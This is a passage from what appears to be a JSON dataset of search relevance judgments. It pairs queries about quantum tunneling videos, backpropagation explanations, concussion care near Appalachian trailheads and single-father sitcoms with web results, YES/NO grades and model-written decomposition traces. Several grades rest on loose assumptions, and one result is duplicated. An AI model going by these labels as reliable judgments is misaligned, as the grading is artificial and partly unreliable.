                "text": "In this experiment I show you to perform quantum tunneling. I first explain what quantum tunneling actually is, then I show you how to make it happen. I talk about total internal reflection and how light can bounce off boundary layers and then how light can actually tunnel through it. \nThe Action Lab Box: https://www.theactionlab.com\nThe Action Lab Experiment Book: https://amzn.to/2Wf07x1\nOr buy wherever books are sold\nFollow me on Twitter: https://twitter.com/theactionlabman\nFacebook: https://www.facebook.com/theactionlabrat\nInstagram: https://www.instagram.com/therealactionlab/\nWatch other popular videos from my channel\nWhat's Inside the Worlds' Fastest Heat Conductor?\nhttps://youtu.be/OR8u__Hcb3k\nCan You Use Umbrellas Instead of a Parachute?\nhttps://youtu.be/zm_7txMrG5U \nOpening a Bottle of Liquid Nitrogen Under Water!\nhttps://youtu.be/pXlJMTx4kW4\nWarning: DO NOT TRY\u2014Seeing How Close I Can Get To a Drop of Neutrons\nhttps://youtu.be/jAgBiFWd-yA\nMy Other Channel:\nhttps://www.youtube.com/channel/UCA19mAJURyYHbJzhfpqhpCA \n*Any experiment you try is at YOUR OWN RISK. The Action Lab assumes no responsibility for any injury if you attempt anything you see in this video or on my channel.\n| view_count: 3,111,411 views | short_view_count: 3.1M views | num_likes: 124K | num_subscribers: 4.39",
                "model_trace": "Query Decomposition:\n1. {Engaging video}: The document describes a YouTube video, which is typically engaging and visual -> ([1], SATISFIED)\n2. {Illustrates how quantum tunneling works}: The video explains what quantum tunneling is and demonstrates it through an experiment -> ([1], SATISFIED)\n3. {Relatable way}: The video uses an experiment involving total internal reflection and light, which can be relatable and understandable for high school students -> ([2], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The video seems engaging, explains quantum tunneling, and uses a relatable experiment. YES."
            },
            {
                "grade": "YES",
                "title": "What is Quantum Tunneling, Exactly? - YouTube",
                "url": "https://www.youtube.com/watch?v=WPZLRtyvEqo",
                "published_date": null,
                "text": "Sign up to brilliant.org to receive a 20% discount with this link! https://brilliant.org/upandatom/\nIn this video we explore the quantum phenomenon of quantum tunneling, where an electron can tunnel through a barrier no classical object could. \n*Quantum Physics Playlist:\nhttps://www.youtube.com/playlist?list=PL1lNrW4e0G8WmWpW846oE_m92nw3rlOpz\nFrustrated Total Internal Reflection Demo:\nhttps://youtu.be/aC-4iSD2aRA\nHi! I'm Jade. Subscribe to Up and Atom for new physics, math and computer science videos every two weeks! \n*SUBSCRIBE TO UP AND ATOM* https://www.youtube.com/c/upandatom\nVisit the Up and Atom Store\nhttps://store.nebula.app/collections/up-and-atom\n*Follow me* @upndatom\nUp and Atom on instagram: https://www.instagram.com/upndatom/\nUp and Atom on Twitter: https://twitter.com/upndatom?lang=en\nA big thank you to my AMAZING PATRONS! \nSkully, Paul Kendra, Ofer Mustigman, Daeil Kim, Harsh Tank, Alan McNea, Daniel Tan-Holmes, Simon Mackenzie, Dag-Erling Sm\u00f8rgrav, Chris Flynn, Andrew Pann, Anne Tan, Joe Court, John Satchell, John Shioli, Adam Thornton, Ayan Doss, Marc Watkins, Sung-Ho Lee, Todd Loreman, Susan Jones, Jareth Arnold, Xiao Fan, Simon Barker, Shawn Patrick James Kirby, Simon Tobar, Drew Davis, Rob Harris, Dennis Haupt, David M., Ammaar Esmailjee, M.H. Beales, Doug Cowles, Stephen Veitch, Renato Pereira, Simon Dargaville, Noah McCann and Magesh.  \nIf you'd like to consider supporting Up and Atom, head over to my Patreon page :) \nhttps://www.patreon.com/upandatom\nFor a one time donation, head over to my PayPal :)  \nhttps://www.paypal.me/upandatomshows\nWhat is the Schr\u00f6dinger Equation, Exactly?\nhttps://youtu.be/QeUMFo8sODk\nThe Intuition Behind the Uncertainty Principle\nhttps://youtu.be/qwt6wUUD2QI\n*Sources:\nhttps://www.ncbi.nlm.nih.gov/pmc/articles/PMC3768233/pdf/COC-17-1758.pdf\nhttp://mmrc.caltech.edu/FTIR/Literature/ATR/Nature%20of%20Evanescent%20Wave%20AS%202%202013.pdf\nhttp://tediousderivations.blogspot.com/2013/08/rectangular-potential-barrier.html\nhttp://www.tcm.phy.cam.ac.uk/~bds10/aqp/handout_1d.p",
                "model_trace": "Query Decomposition:\n1. {engaging video}: The document describes a YouTube video, which is an engaging format -> ([1], SATISFIED)\n2. {illustrates how quantum tunneling works}: The video specifically explores the quantum phenomenon of quantum tunneling -> ([1], SATISFIED)\n3. {relatable way}: The document does not provide explicit information about how relatable the explanation is, but the presence of a demo and the educational nature of the channel suggests it might be -> ([2], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents, indicating that it provides an engaging video that explains quantum tunneling in a potentially relatable way. YES."
            },
            {
                "grade": "YES",
                "title": "Quantum 101 Episode 9: Quantum Tunneling Explained - YouTube",
                "url": "https://www.youtube.com/watch?v=Yg0LT3n4mYY",
                "published_date": null,
                "text": "This video discusses the concept of quantum tunneling, and how this phenomenon only works because particles can act like waves. \nThe fastest baseball pitch ever thrown reached over 170 kilometers an hour. That's impressive. But even that record breaking fastball would never be able to pass through a solid brick wall.\nIt's just not possible. That is, unless we're playing quantum baseball. \nA thrown baseball might have enough energy to rip through a piece of paper, but even the fastest pitch would just bounce off a brick wall.\nYet sometimes quantum particles are caught passing through barriers they don't seem to have enough energy to break through.\nLogically, they should just bounce off. And yet there they are, sitting quite happily on the other side. How can that be possible?\nJoin Katie Mack, Perimeter Institute\u2019s Hawking Chair in Cosmology and Science Communication, over 10 short forays into the weird, wonderful world of quantum science. Episodes are published weekly, subscribe to our channel so you don\u2019t miss an update.\nWant to learn more about quantum concepts? Visit https://perimeterinstitute.ca/quantum-101-quantum-science-explained to access free resources.\nFollow Perimeter:\nTwitter: https://twitter.com/Perimeter\nLinkedIn: https://www.linkedin.com/company/perimeter-institute/\nInstagram: https://www.instagram.com/perimeterinstitute/\nFacebook: https://www.facebook.com/pioutreach\nPerimeter Institute (charitable registration number 88981 4323 RR0001) is the world\u2019s largest independent research hub devoted to theoretical physics, created to foster breakthroughs in the fundamental understanding of our universe, from the smallest particles to the entire cosmos. Be part of the equation: https://perimeterinstitute.ca/donate\n| view_count: 65,003 views | short_view_count: 65K views | num_likes: 1.5K | num_subscribers: 170K",
                "model_trace": "Query Decomposition:\n1. {Engaging video}: The document describes a video that seems engaging, with a relatable analogy to baseball -> ([1], SATISFIED)\n2. {Illustrates how quantum tunneling works}: The video specifically discusses the concept of quantum tunneling and explains how particles can pass through barriers -> ([1], SATISFIED)\n3. {Relatable way}: The video uses the analogy of a baseball to explain quantum tunneling, which is a relatable and understandable concept for high school students -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            }
        ]
    },
    {
        "query": "As a computer science student interested in machine learning, I'm looking for a video that explains the intuitions behind how backpropagation works in neural networks in an easy to understand way.",
        "grid_pos": [
            3,
            7
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
            "1. A video that provides an intuitive explanation of backpropagation in neural networks could help computer science students develop a better understanding of this fundamental machine learning algorithm.\n\n2. A video that uses relatable analogies and examples to illustrate the concept of quantum tunneling could make this complex physics topic more accessible for high school students.\n\n3. Providing the location of the nearest medical facility that can evaluate and treat a concussion near the Appalachian trail trailhead would be helpful information for the user's friend.\n\n4. Finding a TV show or movie that positively depicts single fathers raising their children could be valuable for a new parent looking for family-friendly content.\n\n5. A documentary exploring the history and cultural significance of traditional weaving techniques from around the world could be an insightful resource for a fashion design student."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Backpropagation: how it works",
                "url": "https://www.youtube.com/watch?v=An5z8lR8asY",
                "published_date": "2015-08-31",
                "text": "https://www.youtube.com/watch?v=An5z8lR8asY\nBackpropagation: how it works\nAug 31, 2015\nVictor Lavrenko\n\n| view_count: 145,372 views | short_view_count: 145K views | num_likes: 739 | num_subscribers: 55.8K",
                "model_trace": "Query Decomposition:\n1. {video}: The document is a YouTube video -> ([1], SATISFIED)\n2. {explains the intuitions behind how backpropagation works in neural networks}: The title of the video is \"Backpropagation: how it works,\" which suggests it covers the topic of backpropagation in neural networks -> ([1], SATISFIED)\n3. {easy to understand way}: The document does not explicitly state whether the explanation is easy to understand, but given the context of YouTube educational videos, it is likely aimed at being accessible -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Backpropagation Intuition (C1W3L10)",
                "url": "https://www.youtube.com/watch?v=yXcQ4B-YSjQ",
                "published_date": "2017-08-25",
                "text": "Take the Deep Learning Specialization: http://bit.ly/39mD6eI\nCheck out all our courses: https://www.deeplearning.ai\nSubscribe to The Batch, our weekly newsletter: https://www.deeplearning.ai/thebatch\n\nFollow us: \nTwitter: https://twitter.com/deeplearningai_\nFacebook: https://www.facebook.com/deeplearningHQ/\nLinkedin: https://www.linkedin.com/company/deeplearningai\n| view_count: 76,878 views | short_view_count: 76K views | num_likes: 515 | num_subscribers: 196K",
                "model_trace": "Query Decomposition:\n1. {video}: The document is a YouTube video -> ([1], SATISFIED)\n2. {explains the intuitions behind how backpropagation works in neural networks}: The title of the video is \"Backpropagation Intuition,\" which suggests it covers the intuitions behind backpropagation -> ([1], SATISFIED)\n3. {easy to understand way}: The title suggests an intuitive explanation, which implies it might be easy to understand -> ([2], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "How Backpropagation Works",
                "url": "https://www.youtube.com/watch?v=6BMwisTZFr4&feature=youtu.be",
                "published_date": "2019-09-13",
                "text": "https://www.youtube.com/watch?v=6BMwisTZFr4&feature=youtu.be\nHow Backpropagation Works\nSep 13, 2019\nBrandon Rohrer\nPart of End to End Machine Learning Course 312, Build a Neural Network Framework https://e2eml.school/312\n| view_count: 42,395 views | short_view_count: 42K views | num_likes: 1.2K | num_subscribers: 81.7K",
                "model_trace": "Query Decomposition:\n1. {video}: The document is a YouTube video -> ([1], SATISFIED)\n2. {explains the intuitions behind how backpropagation works in neural networks}: The title \"How Backpropagation Works\" suggests the video explains backpropagation -> ([1], SATISFIED)\n3. {easy to understand way}: It's unclear from the metadata if the video is easy to understand -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {video} and {explains the intuitions behind how backpropagation works in neural networks}. Both of these subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "5.1.3 Backpropagation Intuition by Andrew Ng",
                "url": "https://www.youtube.com/watch?v=OyGptvwRz3M",
                "published_date": null,
                "text": "Neural Networks : Learning\nMachine Learning - Stanford University | Coursera\nby Andrew Ng\nPlease visit Coursera site:\nhttps://www.coursera.org\n| view_count: 2,105 views | short_view_count: 2.1K views | num_likes: 4 | num_subscribers: 1.43K",
                "model_trace": "Query Decomposition:\n1. {video}: The document is a YouTube video -> ([1], SATISFIED)\n2. {explains the intuitions behind how backpropagation works in neural networks}: The title \"Backpropagation Intuition by Andrew Ng\" strongly suggests that the video explains the intuitions behind backpropagation -> ([1], SATISFIED)\n3. {easy to understand way}: The video is by Andrew Ng, who is known for his clear and accessible teaching style -> ([2], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "5.1.3 Backpropagation Intuition by Andrew Ng",
                "url": "https://www.youtube.com/watch?v=OyGptvwRz3M",
                "published_date": null,
                "text": "Neural Networks : Learning\nMachine Learning - Stanford University | Coursera\nby Andrew Ng\nPlease visit Coursera site:\nhttps://www.coursera.org\n| view_count: 2,105 views | short_view_count: 2.1K views | num_likes: 4 | num_subscribers: 1.43K",
                "model_trace": "Query Decomposition:\n1. {video}: The document is about a YouTube video -> ([1], SATISFIED)\n2. {explains the intuitions behind how backpropagation works in neural networks}: The title \"Backpropagation Intuition by Andrew Ng\" suggests that the video explains the intuitions behind backpropagation in neural networks -> ([1], SATISFIED)\n3. {easy to understand way}: The video is by Andrew Ng, a renowned educator known for making complex topics accessible, so it is likely to be easy to understand -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "NO",
                "title": "Understanding Backpropagation Algorithm",
                "url": "https://towardsdatascience.com/understanding-backpropagation-algorithm-7bb3aa2f95fd",
                "published_date": null,
                "text": "Learn the nuts and bolts of a neural network\u2019s most important ingredient                  Backpropagation algorithm is probably the most fundamental building block in a neural network. It was first introduced in 1960s and almost 30 years later (1989) popularized by Rumelhart, Hinton and Williams in a paper called \u201c  Learning representations by back-propagating errors  \u201d.  The algorithm is used to effectively train a neural network through a method called chain rule. In simple terms, after each forward pass through a network, backpropagation performs a backward pass while adjusting the model\u2019s parameters (weights and biases). In this article, I would like to go over the mathematical process of training and optimizing a simple 4-layer neural network. I believe this would help the reader understand how backpropagation works as well as realize its importance.  Define the neural network model The 4-layer neural network consists of 4 neurons for the input layer, 4 neurons for the hidden layers and 1 neuron for the output layer.  Simple 4-layer neural network illustration  Input layer The neurons, colored in purple, represent the input data. These can be as simple as scalars or more complex like vectors or multidimensional matrices.  Equation for input x_i  The first set of activations (a) are equal to the input values. NB: \u201cactivation\u201d is the neuron\u2019s value after applying an activation function. See below.  Hidden layers The final values at the hidden neurons, colored in green, are computed using z^l \u2014 weighted inputs in layer l, and a^l\u2014 activations in layer l. For layer 2 and 3 the equations are:   l = 2    Equations for z\u00b2 and a\u00b2    l = 3    Equations for z\u00b3 and a\u00b3   W\u00b2 and W\u00b3 are the weights in layer 2 and 3 while b\u00b2 and b\u00b3 are the biases in those layers. Activations a\u00b2 and a\u00b3 are computed using an activation function f. Typically, this function f is non-linear (e.g. sigmoid, ReLU, tanh) and allows the network to learn complex patterns in data. We won\u2019t go over the details of how activation functions work, but, if ",
                "model_trace": "Query Decomposition:\n1. {computer science student interested in machine learning}: This is context about the user and does not need to be evaluated against the document -> ([0], UNSURE)\n2. {looking for a video}: The query specifically asks for a video, while the document is a written article -> ([1], UNSATISFIED)\n3. {explains the intuitions behind how backpropagation works in neural networks}: The document explains the backpropagation algorithm in detail, including the mathematical process and the importance of backpropagation -> ([1], SATISFIED)\n4. {easy to understand way}: The document aims to help the reader understand backpropagation, but it's unclear if it is presented in an easy-to-understand way without further context -> ([2], UNSURE)\n\nAssessment: The key subcomponents are {looking for a video} and {explains the intuitions behind how backpropagation works in neural networks}. Since the document is not a video, it does not satisfy the user's request. NO."
            }
        ]
    },
    {
        "query": "My friend just got a concussion while hiking in the Appalachian mountains. What's the closest place they can get checked out near the trailhead?",
        "grid_pos": [
            3,
            7
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
            "1. A video that provides an intuitive explanation of backpropagation in neural networks could help computer science students develop a better understanding of this fundamental machine learning algorithm.\n\n2. A video that uses relatable analogies and examples to illustrate the concept of quantum tunneling could make this complex physics topic more accessible for high school students.\n\n3. Providing the location of the nearest medical facility that can evaluate and treat a concussion near the Appalachian trail trailhead would be helpful information for the user's friend.\n\n4. Finding a TV show or movie that positively depicts single fathers raising their children could be valuable for a new parent looking for family-friendly content.\n\n5. A documentary exploring the history and cultural significance of traditional weaving techniques from around the world could be an insightful resource for a fashion design student."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "AMCHC",
                "url": "https://www.amchc.org/",
                "published_date": "2006-01-01",
                "text": "Whole person health care for everyone \"TO DELIVER TIMELY, COMPREHENSIVE AND QUALITY HEALTH SERVICES WITH DIGNITY AND RESPECT TO WNC RESIDENTS, REGARDLESS OF A PERSON\u2019S ABILITY TO PAY.\"\n\nSkilled providers The providers at Appalachian Mountain Community Health Centers are Board Certified and believe everyone should receive great care.\n\nAffordable Care Our costs are adjusted based on your family size and income, so you can get the care you need at a price you can afford.\n\nRegionally connected We serve the communities of Asheville, Leicester, Sylva, Robbinsville, and Murphy with primary care, behavioral health services, pediatrics, and support groups.",
                "model_trace": "Query Decomposition:\n1. {Closest place to get checked out near the Appalachian trailhead}: The document mentions several locations (Asheville, Leicester, Sylva, Robbinsville, and Murphy) where the Appalachian Mountain Community Health Centers provide services -> ([1], SATISFIED)\n2. {Medical services for a concussion}: The document mentions primary care services, which would likely include treatment for concussions -> ([2], SATISFIED)\n\nAssessment: The document provides information about multiple locations where medical services are available near the Appalachian trailhead and mentions primary care services, which would cover concussion treatment. YES."
            },
            {
                "grade": "NO",
                "title": "Appalachian Regional Healthcare System",
                "url": "https://apprhs.org/",
                "published_date": "2017-06-21",
                "text": "Internet Explorer no longer supports some features of our website. For best results, use Microsoft Edge, Google Chrome, Firefox, or Safari.\n\nMake sure your heart is in the right place\nOur comprehensive program features an array of services including The Heart & Vascular Center, a state-of-the-art interventional and cardiac catheterization lab, cardiac diagnostic testing, and cardiac rehabilitation programs.\n\nFind the Care you Need\n\nFamily & Internal Medicine\u27a4\n\nSame-Day & Walk-in\u27a4\n\nHeart & Vascular Services\u27a4\n\nBehavioral Health\u27a4\n\nPost-COVID Recovery\u27a4\n\nOrthopedics Services\u27a4\n\nMore Services\u27a4\n\nFind the Information You Need\n\nMore from our blog \u27a4",
                "model_trace": "Query Decomposition:\n1. [Closest place to get checked out]: The document does not provide specific information about the proximity of the healthcare facilities to the Appalachian Trail -> ([0], UNSURE)\n2. [Medical services for concussion]: The document mentions a variety of medical services, including same-day and walk-in care, which might be useful for a concussion -> ([1], SATISFIED)\n3. [Near the trailhead of the Appalachian mountains]: The document does not specify the location of the healthcare facilities in relation to the Appalachian Trail -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent related to medical services for a concussion but does not provide specific information about the proximity to the Appalachian Trail. Given the critical nature of the query, the lack of location-specific information means the document is not sufficiently helpful. NO."
            },
            {
                "grade": "YES",
                "title": "Mercy Urgent Care in Western North Carolina | Home Page",
                "url": "https://mercyurgentcare.org/",
                "published_date": "2017-09-12",
                "text": "Latest News\n\nUrgent Care Awareness Month \nThis May, join Mercy Urgent Care in celebrating National Urgent Care Awareness Month, which shines a light on the important role urgent care centers play in our national health care system. When unexpected injuries or health issues arise, many people\u2019s...\n\nYou\u2019re just minutes away from compassionate, convenient, quality healthcare in Western North Carolina\u2014eight locations in Asheville, Brevard, Burnsville, Columbus, Waynesville, and Weaverville. Without an appointment, and at a fraction of the cost of an ER visit. Since 1985 Mercy Urgent Care has helped your family, friends and neighbors recover from injury, heal from illness, and get back to life. Why should you trust your healthcare to us? It\u2019s right there in our name\u2026 mercy makes us different.\n\nUrgent Care or ER?\n How do I know whether I should go to Mercy Urgent Care or the emergency room? Mercy Urgent Care centers provide treatment for nonlife-threatening injuries and illnesses, including colds, ear infections, the flu, broken bones, sprains, mild asthma, urinary tract infections, sports physicals and more.\n\nMercy Urgent Care visits start at $149\nCare you can afford.\n\nI typically hate going to the doctor or urgent care but everyone here was very professional and nice. Pleasant experience.\n\nWest, February 2023\n\nOur Core Values\n Sacredness of LifeHuman DignityMercyJusticeServiceExcellence",
                "model_trace": "Query Decomposition:\n1. {Closest place to get checked out}: The document lists multiple locations of Mercy Urgent Care in Western North Carolina, which could potentially be near the Appalachian Trail -> ([1], SATISFIED)\n2. {Near the trailhead of the Appalachian mountains}: The document mentions locations in Asheville, Brevard, Burnsville, Columbus, Waynesville, and Weaverville, which are in Western North Carolina and could be near trailheads of the Appalachian Trail -> ([2], SATISFIED)\n\nAssessment: The document provides information on multiple urgent care locations in Western North Carolina, which is relevant to finding a place near the Appalachian Trail. YES"
            },
            {
                "grade": "NO",
                "title": "Interactive Map | Appalachian Trail Conservancy",
                "url": "https://appalachiantrail.org/explore/hike-the-a-t/interactive-map/",
                "published_date": null,
                "text": "You can explore hundreds of locations along the trail including vistas, trailhead parking, overnight shelters, A.T. Communities, and Trail Clubs!\nThe Appalachian Trail (A.T.) interactive map, built cooperatively by the Appalachian Trail Conservancy (ATC) and National Park Service using ESRI\u2019s Arc GIS Online mapping technology. While useful, this map is for general reference purposes only and not intended to replace the more comprehensive and accurate A.T. printed hiking maps, available from the Ultimate Appalachian Trail Store.  \n Launch Interactive Map",
                "model_trace": "Query Decomposition:\n1. {Friend got a concussion while hiking in the Appalachian mountains}: This subcomponent is context and does not need to be evaluated.\n2. {Closest place to get checked out near the trailhead}: The document needs to provide information about medical facilities or locations near the trailhead -> ([0], UNSATISFIED)\n\nAssessment: The document provides an interactive map of the Appalachian Trail, which includes information about vistas, trailhead parking, overnight shelters, A.T. Communities, and Trail Clubs. However, it does not provide specific information about medical facilities or locations where someone can get checked out for a concussion.\n\nNO."
            },
            {
                "grade": "NO",
                "title": "Shelters | Appalachian Trail Conservancy",
                "url": "https://appalachiantrail.org/explore/hike-the-a-t/thru-hiking/shelters/",
                "published_date": null,
                "text": "Shelter life\n There are more than 250 backcountry shelters located along the Appalachian Trail (A.T.) for backpackers on a first-served basis. Not only are they the best places to stay dry, but they reduce hikers\u2019 impact on the Trail environment.\n   A typical shelter, sometimes called a \u201clean-to,\u201d has an overhanging roof, a wooden floor and three walls. Most (but not all) are near a creek or spring, and many have a privy nearby.  \nThere are more than 250 backcountry shelters located along the A.T. at varying intervals. They are an average of about 8 miles apart, but can range from 5 miles to 15 miles apart, or even as much as 30 miles apart when there is a town with some sort of lodging in between. So, it\u2019s important to plan ahead and prepare and carry a map or guidebook with you or find shelters on our interactive map.\nSome shelters have food storage systems in place to protect food from bears and other animals, but the majority do not. Where these systems are in place, please use them, but even when you can confirm they are in place, it\u2019s best to bring your own personal food storage container. For more information about bears and food storage see our page on bears.\nShelters are for all A.T. users. Hikers may occupy them on a first-come, first-served basis until the shelter is full (although there are a few exceptions, most notably in the Great Smoky Mountains National Park and Baxter State Park). Shelters are intended for individual hikers, not groups.\nThe use of some shelters in heavy-use areas requires a permit, registration and/or fee payment. See our Permits, Regulations, and Fees page\u00a0for more information.\nThe Benefits of Shelters\nShelters are the best places to stay dry in wet weather (they fill up fast when it rains).\nThey are often a good place to meet and talk with other hikers.\nMost have privies and water sources nearby.\nShelters are less hospitable to ticks than most camping areas (unless a dog is present).\nStaying at shelters reduces hiker impact on the Trail environment and is a good Leave No Trace",
                "model_trace": "Query Decomposition:\n1. {Closest place to get checked out}: The document should provide information on medical facilities or places where one can receive medical attention -> ([0], UNSATISFIED)\n2. {Near the trailhead of the Appalachian Trail}: The document should provide information about locations near the trailhead -> ([0], UNSATISFIED)\n\nAssessment: The document primarily discusses shelters along the Appalachian Trail, their features, and their usage. It does not provide any information about medical facilities or places where someone can get checked out near the trailhead. Therefore, it does not satisfy any of the key subcomponents of the query. NO."
            }
        ]
    },
    {
        "query": "I'm a new parent trying to find a TV show or movie that has positive representations of single fathers raising their kids that I can watch with my family.",
        "grid_pos": [
            3,
            7
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
            "1. A video that provides an intuitive explanation of backpropagation in neural networks could help computer science students develop a better understanding of this fundamental machine learning algorithm.\n\n2. A video that uses relatable analogies and examples to illustrate the concept of quantum tunneling could make this complex physics topic more accessible for high school students.\n\n3. Providing the location of the nearest medical facility that can evaluate and treat a concussion near the Appalachian trail trailhead would be helpful information for the user's friend.\n\n4. Finding a TV show or movie that positively depicts single fathers raising their children could be valuable for a new parent looking for family-friendly content.\n\n5. A documentary exploring the history and cultural significance of traditional weaving techniques from around the world could be an insightful resource for a fashion design student."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Single Parents (TV series) - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Single_Parents_(TV_series)",
                "published_date": "2018-05-11",
                "text": "From Wikipedia, the free encyclopedia\n\nSingle Parents Genre Sitcom Created by Elizabeth Meriwether & J. J. Philbin Starring \n Taran Killam \n Leighton Meester \n Kimrie Lewis \n Jake Choi \nMarlow Barkley\nTyler Wladis\nDevin Trey Campbell\nMia Allan\nElla Allan\n Brad Garrett \n Composers \n Kevin Kiner \nSean Kiner\nDean Kiner \n Country of origin United States Original language English No. of seasons 2 No. of episodes 45 Production Executive producers \n Elizabeth Meriwether\nKatherine Pope\nJ. J. Philbin\n Jason Winer \n Cinematography \n Blake McClure\nTimothy Gillis \n Editors \n Matthew Freund\nPamela March\nMark Bourgeois\nStephanie Goldstein\nRay McCoy \n Camera setup Single-camera Running time 22 minutes Production companies \n Elizabeth Meriwether Pictures\nJJ Philbin Productions\n ABC Signature \n 20th Television \n Distributor \n Disney\u2013ABC Domestic Television \n Release Original network ABC Original release September 26, 2018 \u2013May 13, 2020 \n Single Parents is an American television sitcom that stars Taran Killam, Leighton Meester, Kimrie Lewis, Brad Garrett, and Jake Choi. It follows a group of adults who must venture through single parenthood with their young kids. The series premiered on ABC on September 26, 2018, and had a full 23-episode first season. ABC renewed the series for a second season, which premiered on September 25, 2019. In May 2020, the series was canceled after two seasons.\n\nPremise[edit]\nThe series begins when the group meets Will, a divorced man in his 30s who is so focused on raising his daughter that he has lost sight of who he is as a man. When the other single parents see just how invested Will has become with PTA, parenting, and princesses, they band together to get him out in the dating world and make him realize that parenthood does not mean sacrificing everything about one's own identity. [1]\n\nCast[edit]\n Taran Killam as Will Cooper, [2] a 30-something single father with a daughter.\n Leighton Meester as Angie D'Amato, [2] a single mother with a needy son.\n Brad Garrett as Douglas Fogerty, [2] an older wido",
                "model_trace": "Query Decomposition:\n1. {TV show or movie}: This document is about a TV show -> ([1], SATISFIED)\n2. {positive representations of single fathers}: The premise of the show includes a single father, Will Cooper, who is dedicated to raising his daughter, which suggests a positive representation -> ([2], SATISFIED)\n3. {content suitable to watch with family}: The document does not provide explicit information about the suitability for family viewing -> ([0], UNSURE)\n\nAssessment: The document satisfies the relevant subcomponents regarding being a TV show and having positive representations of single fathers. The suitability for family viewing is not explicitly mentioned, but it can be inferred that a sitcom about single parents is likely appropriate for family viewing. YES"
            },
            {
                "grade": "YES",
                "title": "Single Parents - Official Trailer",
                "url": "https://www.youtube.com/watch?v=9vujgmSPp0c&feature=youtu.be",
                "published_date": "2018-05-15",
                "text": "A group of dysfunctional single parents lean on each other as they raise their kids, look for love, and ultimately realize survival is only possible with the help of each other.\n\nThis ensemble comedy follows a group of single parents as they lean on each other to help raise their 7-year-old kids and maintain some kind of personal lives outside of parenthood. The series begins when the group meets Will, a 30-something guy who\u2019s been so focused on raising his daughter that he\u2019s lost sight of who he is as a man. When the other single parents see just how far down the rabbit hole of PTA, parenting and princesses Will has gone, they band together to get him out in the dating world and make him realize that being a great parent doesn\u2019t mean sacrificing everything about your own identity.\n\nThe series stars Taran Killam as Will, Leighton Meester as Angie, Kimrie Lewis as Poppy, Jake Choi as Miggy, Marlow Barkley as Sophie, Tyler Wladis as Graham, Devin Trey Campbell as Rory, Grace Hazelett as Emma, Sadie Hazelett as Amy and Brad Garrett as Douglas.\n\nLike and Follow SINGLE PARENTS:\nFacebook: https://www.facebook.com/SingleParentsABC/\nTwitter: www.twitter.com/SingleParentsTV\nInstagram: https://www.instagram.com/singleparentstv\nHashtag: #SingleParents\n\nSubscribe: http://goo.gl/mo7HqT\n| view_count: 2,227,008 views | short_view_count: 2.2M views | num_likes: 5.3K | num_subscribers: 2.88",
                "model_trace": "Query Decomposition:\n1. {TV show or movie}: The document is about a TV show called \"Single Parents\" -> ([1], SATISFIED)\n2. {positive representations of single fathers}: The document describes the show as featuring a single father, Will, who is positively portrayed as dedicated to raising his daughter -> ([1], SATISFIED)\n3. {suitable for family viewing}: The document does not provide specific information about the show's suitability for family viewing, but it is described as an ensemble comedy focused on parenting, which suggests it might be family-friendly -> ([2], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents. YES"
            },
            {
                "grade": "NO",
                "title": "If You Liked Guys with Kids",
                "url": "https://www.nbc.com/guys-with-kids",
                "published_date": "2023-02-27",
                "text": "Your Privacy Choices: Opt-out of sale of personal information and Opt-out of sharing or processing personal information for targeted ads To provide you with a more relevant online experience, certain online ad partners may combine personal information that we make available with data across different businesses and otherwise assist us with related advertising activities, as described in our Privacy Policy. This may be considered \"selling\" or \"sharing/processing\u201d for targeted online advertising under applicable law.\nIf you are a resident of California, Connecticut, Colorado, Utah or Virginia, to opt out of us selling or sharing/processing your personal information:\n Such as cookies and devices identifiers for the targeted ads and related purposes for this site/app on this browser/device: switch the \u201cAllow Sale of My Personal Info or Sharing/Processing for Targeted Ads\u201d toggle under Manage Preferences to OFF (grey color) by moving it LEFT and clicking \u201cConfirm My Choice\u201d.\nSuch as your name, email address and other associated personal information for targeted advertising activities as described above, please submit the form below. \n Please note that choices related to cookies and device identifiers are specific to the brand\u2019s website or app on the browser or device where you are making the election. Manage Preferences Allow Sale of My Personal Info and Sharing/Processing for Targeted Ads Allow Sale of My Personal Info and Sharing/Processing for Targeted Ads California, Connecticut, Colorado, Utah & Virginia Residents Only: To opt out of selling or sharing/processing for targeted advertising of information such as cookies and device identifiers processed for targeted ads (as defined by law) and related purposes for this site/app on this browser/device, switch this toggle to off (grey color) by moving it left and clicking \u201cConfirm My Choice\u201d below. (This will close this dialogue box, so please open the email Opt-Out Form 1st). ALL OTHER LOCATIONS: If we do not detect that you are in California, Connecticut, Colorado, ",
                "model_trace": "Query Decomposition:\n1. {TV show or movie}: The document is related to a TV show, specifically \"Guys with Kids\" -> ([1], SATISFIED)\n2. {positive representations of single fathers raising their kids}: The document does not provide information about the content or themes of the TV show \"Guys with Kids\" -> ([0], UNSURE)\n3. {suitable for family viewing}: The document does not provide any information regarding the suitability for family viewing -> ([0], UNSURE)\n\nAssessment: The document only satisfies the subcomponent related to being a TV show. It does not provide any information about the representation of single fathers or the suitability for family viewing. NO."
            }
        ]
    },
    {
        "query": "I'm a fashion design student looking for a documentary that explores the history and cultural significance of traditional weaving techniques from around the world.",
        "grid_pos": [
            3,
            7
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
